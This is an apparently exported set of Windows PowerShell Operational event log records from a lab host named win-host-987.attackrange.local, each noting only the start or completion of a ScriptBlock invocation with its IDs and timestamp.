SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030819
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030818
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030817
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030816
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030815
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030814
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030813
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030812
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030811
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030810
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030809
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030808
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030807
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030806
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030805
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030804
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030803
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030802
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030801
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030800
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030799
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030798
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030797
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030796
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030795
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030794
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030793
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030792
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030791
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030790
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030789
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030788
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030787
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030786
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030785
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030784
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030783
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030782
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030781
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030780
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030779
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030778
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030777
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030776
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030775
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030774
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030773
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030772
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030771
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030770
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030769
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030768
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030767
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
